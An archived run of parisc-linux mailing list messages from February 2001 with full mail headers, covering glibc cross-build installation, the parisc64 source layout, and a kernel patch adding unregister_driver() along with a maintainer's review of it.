doesn't put glibc in directories searched by the cross tools.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile
    system
Date: Sat, 24 Feb 2001 19:26:42 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102241923550.9315-100000@front.linuxcare.com.au>
References: <3A976D8E.B7F9CF66@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619912 16143 80.91.229.3 (22 Nov 2014 01:31:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 01:26:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35D614A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 01:26:51 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA26212;
	Sat, 24 Feb 2001 19:26:42 +1100
In-Reply-To: <3A976D8E.B7F9CF66@neuronet.pitt.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:10395

On Sat, 24 Feb 2001, Rafael E. Herrera wrote:

> By the way, I don't intend to use this build for cross compile other
> packages, I just want to be able to install these in the nfs root. I
> build the cross compile version with a --prefix that puts it out of the
> way.

I use

/src/parisc/glibc/configure --prefix=/usr --build=i686-linux \
--host=hppa-linux --with-headers=/usr/tmp/build/linux/include \
--without-cvs --enable-add-ons

make install_root=/tftpboot/<machine_name> install





From - Thu Nov 08 21:16:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile system
Date: 24 Feb 2001 00:43:49 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <m38zmwii7u.fsf@otr.mynet.cygnus.com>
References: <Pine.LNX.4.21.0102241906140.9315-100000@front.linuxcare.com.au>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619912 16144 80.91.229.3 (22 Nov 2014 01:31:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 01:44:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 128364A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 01:44:13 -0700 (MST)
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id AAA02625;
	Sat, 24 Feb 2001 00:44:02 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 724C730BD; Sat, 24 Feb 2001 00:43:49 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: Alan Modra's message of "Sat, 24 Feb 2001 19:21:01 +1100 (EST)"
Original-Lines: 20
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:10396

Alan Modra <alan@linuxcare.com.au> writes:

> If binutils and gcc are built with --build=i686-linux --host=i686-linux
> --target=hppa-linux --prefix=/usr, then it's correct to build glibc with
> --build=i686-linux --host=hppa-linux --prefix=/usr/hppa-linux because then
> "make install" will put glibc in the correct place for the cross tools.

Then how comes people install these binaries?  And even if not
installing, you possibly link against libc.a and get completely wrong
code.  This is not how you do it.

> Building glibc with --prefix=/usr then "make install_root=/usr/hppa-linux"
> doesn't put glibc in directories searched by the cross tools.

Then add the appropriate -L and -I.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------




From - Thu Nov 08 21:16:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unregister driver patch
Date: Sat, 24 Feb 2001 16:56:08 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <3A97D998.5D019AAB@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619912 16147 80.91.229.3 (22 Nov 2014 01:31:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 08:57:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E40264A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 08:57:23 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA05356
	for <parisc-linux@puffin.external.hp.com>; Sat, 24 Feb 2001 08:52:38 -0700
Original-Received: (qmail 3225 invoked by uid 15267); 24 Feb 2001 15:56:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3214 invoked from network); 24 Feb 2001 15:56:23 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 24 Feb 2001 15:56:23 -0000
Original-Received: from pc5158a.esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 41CCDD1585
	for <parisc-linux@thepuffingroup.com>; Sat, 24 Feb 2001 16:56:08 +0100 (CET)
Original-Received: from localhost
	([127.0.0.1] helo=esiee.fr ident=delahaym)
	by pc5158a.esiee.fr with esmtp (Exim 3.12 #1 (Debian))
	id 14Wh3I-0008IL-00
	for <parisc-linux@thepuffingroup.com>; Sat, 24 Feb 2001 16:56:08 +0100
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10397

Hi all!

Here is a patch which implements the unregister_driver() function.

I had to change a field in struct hp_device:
The field "manage" (bool) become "driver" (pointer on a pa_iodc_driver),

since unregister_driver has to know by which driver a device was managed
to make unregister proper.
unregister_driver() first remove the driver from the list. Then, it
looks for devices managed by this driver and changed their "driver"
field to NULL.


More over, some drivers call register_driver at least two times, e.g.
the gsc parallel port driver. When it append, BUG() is called and a
warning is send to give the name of the driver.

NOTE: Since the structure pa_iodc_driver is used to maintain the list of
the registered drivers, I think this do not have to be put in data.init
section.


Regards,

Matthieu Delahaye
ESIEE Team
http://www.esiee.fr/~puffin






From - Thu Nov 08 21:16:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 vs kernel64
Date: Sat, 24 Feb 2001 20:42:37 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20010224204237.A22753@parcelfarce.linux.theplanet.co.uk>
References: <20010223085815.B16261@parcelfarce.linux.theplanet.co.uk> <200102232212.OAA21472@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619913 16149 80.91.229.3 (22 Nov 2014 01:31:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:53 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org,
	grundler@milano.cup.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 14:22:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2ECD4A19
	for <parisc-linux@parisc-linux.org>; Sat, 24 Feb 2001 14:22:41 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14WlWX-0006d0-00; Sat, 24 Feb 2001 20:42:37 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200102232212.OAA21472@milano.cup.hp.com>; from grundler@cup.hp.com on Fri, Feb 23, 2001 at 02:12:22PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10398

On Fri, Feb 23, 2001 at 02:12:22PM -0800, Grant Grundler wrote:
> How much is driven by how gcc/binutils/config.guess type stuff works?

Nothing.

> We've made an effort to keep them the same. That's why most of the
> files are common. The fact that PA2.0 cpus can run PA1.1 kernel bits
> makes it easy for us. I'm *know* the R4000 MIPs processor had
> good backwards compatibility between 32/64-bit - don't know about
> later ones or Sparc/Sparc64.

We had a discussion of this in the meeting, but it's worth mentioning for
the record.  Ralf had two teams of people pulling at him -- one was the embedded
MIPS people who wanted to keep everything simple and small, and the other
was SGI who wanted 64-bit, SMP, scalability.  So MIPS vs MIPS64 is also a
tradeoff between make-it-small and make-it-fast.

For both Sparc & MIPS there was also the opportunity to discard
backwards-compatibility stuff.  Compare the Sparc64 and Sparc32 atomic_t
operations.  The changes between PA-RISC and PA-RISC64 really aren't
as major.  There aren't many places we could remove cruft by guaranteeing
we're omitting certain types of processor.

It would almost certainly make sense to have a `parisc1.0' architecture
if someone were crazy enough to do that :-)

> The Processor family selection is a good idea regardless of
> how arch/parisc* source is organized.

Thanks.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 vs kernel64
Date: Sat, 24 Feb 2001 21:07:17 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <200102250507.VAA22545@milano.cup.hp.com>
References: <20010224204237.A22753@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619913 16152 80.91.229.3 (22 Nov 2014 01:31:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 22:04:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BDDF4A19
	for <parisc-linux@parisc-linux.org>; Sat, 24 Feb 2001 22:04:21 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id B071B709; Sat, 24 Feb 2001 21:04:20 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA22545;
	Sat, 24 Feb 2001 21:07:19 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 24 Feb 2001 20:42:37 PST."
             <20010224204237.A22753@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10399

Matthew Wilcox wrote:
> Ralf had two teams of people pulling at him -- one was the embedded
> MIPS people who wanted to keep everything simple and small, and the other
> was SGI who wanted 64-bit, SMP, scalability.  So MIPS vs MIPS64 is also a
> tradeoff between make-it-small and make-it-fast.

Ok. Internally, HPUX had a similar conflict along different lines:
	workstation vs server


> The changes between PA-RISC and PA-RISC64 really aren't as major.

That's true. We depend alot on the compiler to do most of the work so far.
Future work is to identify locations where the compiler isn't doing
a good enough job for a particular arch.

> There aren't many places we could remove cruft by guaranteeing
> we're omitting certain types of processor.

Agreed.

> It would almost certainly make sense to have a `parisc1.0' architecture
> if someone were crazy enough to do that :-)

or V-class. But a "parisc/kernelSPP" directory might be sufficient.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unregister driver patch
Date: Sat, 24 Feb 2001 22:16:03 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <200102250616.WAA22623@milano.cup.hp.com>
References: <3A97D998.5D019AAB@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619913 16159 80.91.229.3 (22 Nov 2014 01:31:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 23:13:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E4694A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 23:13:08 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA07279
	for <parisc-linux@puffin.external.hp.com>; Sat, 24 Feb 2001 23:08:22 -0700
Original-Received: (qmail 1745 invoked by uid 15267); 25 Feb 2001 06:13:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1730 invoked from network); 25 Feb 2001 06:13:06 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2001 06:13:06 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 1C80D1080; Sat, 24 Feb 2001 22:13:05 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA22623;
	Sat, 24 Feb 2001 22:16:04 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 24 Feb 2001 16:56:08 PST."
             <3A97D998.5D019AAB@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:10400

Matthieu Delahaye wrote:
> Here is a patch which implements the unregister_driver() function.

Matthieu,
That's excellent!

But no patch was attached. Please post!

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unregister driver patch
Date: Sun, 25 Feb 2001 12:02:38 +0100
Lines: 171
Approved: news@gmane.org
Message-ID: <3A98E64E.A8A9216A@esiee.fr>
References: <200102250616.WAA22623@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------6502D643E70F51A324AA0CCC"
X-Trace: ger.gmane.org 1416619914 16166 80.91.229.3 (22 Nov 2014 01:31:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:54 +0000 (UTC)
To: Grant Grundler <grundler@cup.hp.com>,
	parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 25 04:02:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2575A4A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Feb 2001 04:02:42 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA07909
	for <parisc-linux@puffin.external.hp.com>; Sun, 25 Feb 2001 03:57:56 -0700
Original-Received: (qmail 13357 invoked by uid 15267); 25 Feb 2001 11:02:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13338 invoked from network); 25 Feb 2001 11:02:39 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2001 11:02:39 -0000
Original-Received: from pc5158a.esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 85EC5D1588; Sun, 25 Feb 2001 12:02:38 +0100 (CET)
Original-Received: from localhost
	([127.0.0.1] helo=esiee.fr ident=delahaym)
	by pc5158a.esiee.fr with esmtp (Exim 3.12 #1 (Debian))
	id 14Wywo-0004Di-00; Sun, 25 Feb 2001 12:02:38 +0100
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10401

This is a multi-part message in MIME format.
--------------6502D643E70F51A324AA0CCC
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Grant Grundler wrote:

> Matthieu Delahaye wrote:
> > Here is a patch which implements the unregister_driver() function.
>
> Matthieu,
> That's excellent!
>
> But no patch was attached. Please post!
>

Yes, it's not the first time! The problem was between my keyboard and my
chair ;-)
More over, I reposted it before your answer... to myself only... Sorry.
I think holidays aren't good for me.

Matthieu

>
> thanks,
> grant
>
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

--------------6502D643E70F51A324AA0CCC
Content-Type: text/plain; charset=us-ascii;
 name="unregister.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="unregister.diff"

diff -Nru linux.old/arch/parisc/kernel/drivers.c linux.new/arch/parisc/kernel/drivers.c
--- linux.old/arch/parisc/kernel/drivers.c	Sat Feb 10 18:13:25 2001
+++ linux.new/arch/parisc/kernel/drivers.c	Sat Feb 24 16:40:03 2001
@@ -57,17 +57,23 @@
 		** The list gets built in reverse order...ideally, it shouldn't
 		** matter but reality will eventually rear it's ugly head.
 		*/
+		if(driver->next) {
+			BUG();
+			printk(KERN_WARNING "Warning: %s %s was already registered. Skiping.\n", driver->name,driver->version);
+			continue; 
+		}
+		
 		driver->next = pa_drivers;
 		pa_drivers = driver;
 
 		for (i=0; i < num_devices; i++) {
 			device = &pa_devices[i];
 
-			if (device->managed)			continue;
+			if ((int)device->driver) continue;
 			if (0 == compare_spec(device, driver))	continue;
 
 			if ( (*driver->callback)(device,driver) ==0) {
-				device->managed=1;
+				device->driver=driver;
 			} else {
 				printk("Warning : device (%d, 0x%x, 0x%x, 0x%x, 0x%x) NOT claimed by %s %s\n",
 					device->hw_type,
@@ -77,6 +83,42 @@
 			}
 		}
 	}
+	
+	return 0;
+}
+
+
+
+int unregister_driver(struct pa_iodc_driver *driver)
+{
+	int i;
+	struct hp_device * device;
+	struct pa_iodc_driver * drv;
+	
+	for(;driver->check;driver++) {
+		drv=pa_drivers;
+		if(pa_drivers==driver) {
+			pa_drivers=driver->next;
+		} else {
+			while(drv!=NULL && driver!=drv->next) {
+				drv=drv->next;
+			}
+
+			if(drv==NULL) {
+				printk(KERN_WARNING "unregister_driver: %s %s wasn't registered\n", driver->name, driver->version);
+				continue;
+			} else {
+				drv->next=driver->next;
+				driver->next=NULL;
+			}
+			
+		}
+	    
+		for (i=0; i < num_devices; i++) {
+			device = &pa_devices[i];
+			if (device->driver==driver) device->driver=NULL;
+		}
+	}
 	return 0;
 }
 
@@ -127,7 +169,7 @@
 	d->sversion_rev = iodc_data[4]>>4;
 	d->opt = iodc_data[7];
 	d->hpa = (void *) hpa;
-	d->managed = 0;
+	d->driver = NULL;
 	d->reference = parisc_get_reference(d->hw_type,
 					d->hversion, d->sversion);
 
@@ -145,16 +187,16 @@
 {
 	struct pa_iodc_driver *driver = pa_drivers;
 
-	while ((0 == hp_dev->managed) && (NULL != driver)) {
+	while ((NULL == hp_dev->driver) && (NULL != driver)) {
 
 		if (compare_spec(hp_dev,driver))
-			hp_dev->managed =
-				((*driver->callback)(hp_dev,driver) == 0);
+			hp_dev->driver =
+				(((*driver->callback)(hp_dev,driver) == 0)?driver:NULL);
 
 		driver = driver->next;
 	}
 
-	return hp_dev->managed;
+	return (hp_dev->driver==driver);
 }
 
 struct hp_device *get_pa_dev(unsigned int index)
diff -Nru linux.old/include/asm-parisc/hardware.h linux.new/include/asm-parisc/hardware.h
--- linux.old/include/asm-parisc/hardware.h	Sat Feb 10 18:14:08 2001
+++ linux.new/include/asm-parisc/hardware.h	Sat Feb 24 16:43:00 2001
@@ -22,7 +22,7 @@
 	unsigned int	sversion_rev;
 	struct hp_hardware *reference;  /* This is a pointer to the
                                             reference */
-	unsigned int	managed; /* this is if the device has a driver for it */
+	struct pa_iodc_driver *driver; /* this is if the device has a driver for it */
 
 	unsigned int	num_addrs;	/* some devices have additional address ranges, */
 	unsigned long	addr[MAX_ADD_ADDRS]; /* which will be stored here */
@@ -113,6 +113,7 @@
 extern struct hp_device *get_pa_dev(unsigned int index);
 extern void print_pa_devices(char * buf);
 extern int register_driver(struct pa_iodc_driver *driver);
+extern int unregister_driver(struct pa_iodc_driver *driver);
 
 /* inventory.c: */
 extern void do_inventory(void);

--------------6502D643E70F51A324AA0CCC--





From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unregister driver patch
Date: Sun, 25 Feb 2001 20:30:55 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <200102260431.UAA23094@milano.cup.hp.com>
References: <3A98E64E.A8A9216A@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619914 16171 80.91.229.3 (22 Nov 2014 01:31:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 25 21:28:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F5234A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Feb 2001 21:28:09 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA13228
	for <parisc-linux@puffin.external.hp.com>; Sun, 25 Feb 2001 21:23:22 -0700
Original-Received: (qmail 21945 invoked by uid 15267); 26 Feb 2001 04:28:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21932 invoked from network); 26 Feb 2001 04:28:06 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 26 Feb 2001 04:28:06 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id AB11A712; Sun, 25 Feb 2001 20:28:05 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id UAA23094;
	Sun, 25 Feb 2001 20:31:06 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 25 Feb 2001 12:02:38 PST."
             <3A98E64E.A8A9216A@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:10402

Matthieu Delahaye wrote:
> I think holidays aren't good for me.

hmmm...maybe not. ;^)

I'll apply the patch tomorrow barring major objections.
The patch looks good to me (with one nit noted below).
Thanks!


> -			if (device->managed)			continue;
> +			if ((int)device->driver) continue;

I'll change this to:
		if (NULL != device->driver) continue;

device->driver is a pointer and should certainly not be cast to an int
in this case. For 64-bit, we will loose the upper half of the address
and we want to test the entire address. Even if it worked, I wouldn't
want to risk it not working in the future.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unregister driver patch
Date: Sun, 25 Feb 2001 21:30:03 -0800
Lines: 37
Approved: news@gmane.org
Message-ID: <200102260530.VAA23229@milano.cup.hp.com>
References: <3A98E64E.A8A9216A@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619914 16175 80.91.229.3 (22 Nov 2014 01:31:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 25 22:27:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28CB64A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Feb 2001 22:27:42 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA13452
	for <parisc-linux@puffin.external.hp.com>; Sun, 25 Feb 2001 22:22:39 -0700
Original-Received: (qmail 15069 invoked by uid 15267); 26 Feb 2001 05:27:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15056 invoked from network); 26 Feb 2001 05:27:04 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
